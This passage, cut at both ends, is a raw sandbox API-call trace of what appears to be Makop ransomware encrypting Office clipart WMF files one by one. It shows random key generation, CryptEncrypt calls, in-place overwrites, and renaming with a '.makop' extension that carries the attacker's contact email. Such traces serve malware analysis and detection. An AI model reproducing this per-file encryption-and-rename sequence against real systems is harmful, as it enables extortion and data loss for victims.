hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.873] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.873] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.873] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2394, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2394, lpOverlapped=0x0) returned 1 [0127.875] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23a0, dwBufLen=0x23a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23a0) returned 1 [0127.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23a0, lpOverlapped=0x0) returned 1 [0127.875] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.875] SetEndOfFile (hFile=0xf0) returned 1 [0127.883] GetProcessHeap () returned 0x48a0000 [0127.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.883] GetProcessHeap () returned 0x48a0000 [0127.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.883] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.885] CloseHandle (hObject=0xf0) returned 1 [0127.885] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0127.885] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned 63 [0127.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.887] GetProcessHeap () returned 0x48a0000 [0127.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.887] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.894] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.894] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.894] GetProcessHeap () returned 0x48a0000 [0127.894] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.895] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.896] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a44, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a44, lpOverlapped=0x0) returned 1 [0127.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a50) returned 1 [0127.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.898] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a50, lpOverlapped=0x0) returned 1 [0127.898] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.898] SetEndOfFile (hFile=0xf0) returned 1 [0127.906] GetProcessHeap () returned 0x48a0000 [0127.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.906] GetProcessHeap () returned 0x48a0000 [0127.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.908] CloseHandle (hObject=0xf0) returned 1 [0127.908] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0127.908] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned 63 [0127.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.909] GetProcessHeap () returned 0x48a0000 [0127.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.909] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.914] GetProcessHeap () returned 0x48a0000 [0127.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.916] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1258, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1258, lpOverlapped=0x0) returned 1 [0127.918] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1260, dwBufLen=0x1260 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1260) returned 1 [0127.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1260, lpOverlapped=0x0) returned 1 [0127.918] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.918] SetEndOfFile (hFile=0xf0) returned 1 [0127.926] GetProcessHeap () returned 0x48a0000 [0127.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.926] GetProcessHeap () returned 0x48a0000 [0127.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.926] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.928] CloseHandle (hObject=0xf0) returned 1 [0127.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0127.929] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0127.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.930] GetProcessHeap () returned 0x48a0000 [0127.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.930] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.935] GetProcessHeap () returned 0x48a0000 [0127.935] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.937] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.937] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.937] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x834, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x834, lpOverlapped=0x0) returned 1 [0127.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x840, dwBufLen=0x840 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x840) returned 1 [0127.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x840, lpOverlapped=0x0) returned 1 [0127.938] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.938] SetEndOfFile (hFile=0xf0) returned 1 [0127.945] GetProcessHeap () returned 0x48a0000 [0127.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.945] GetProcessHeap () returned 0x48a0000 [0127.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.945] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.947] CloseHandle (hObject=0xf0) returned 1 [0127.947] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0127.947] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0127.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.949] GetProcessHeap () returned 0x48a0000 [0127.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.949] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.953] GetProcessHeap () returned 0x48a0000 [0127.954] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.954] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.954] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, 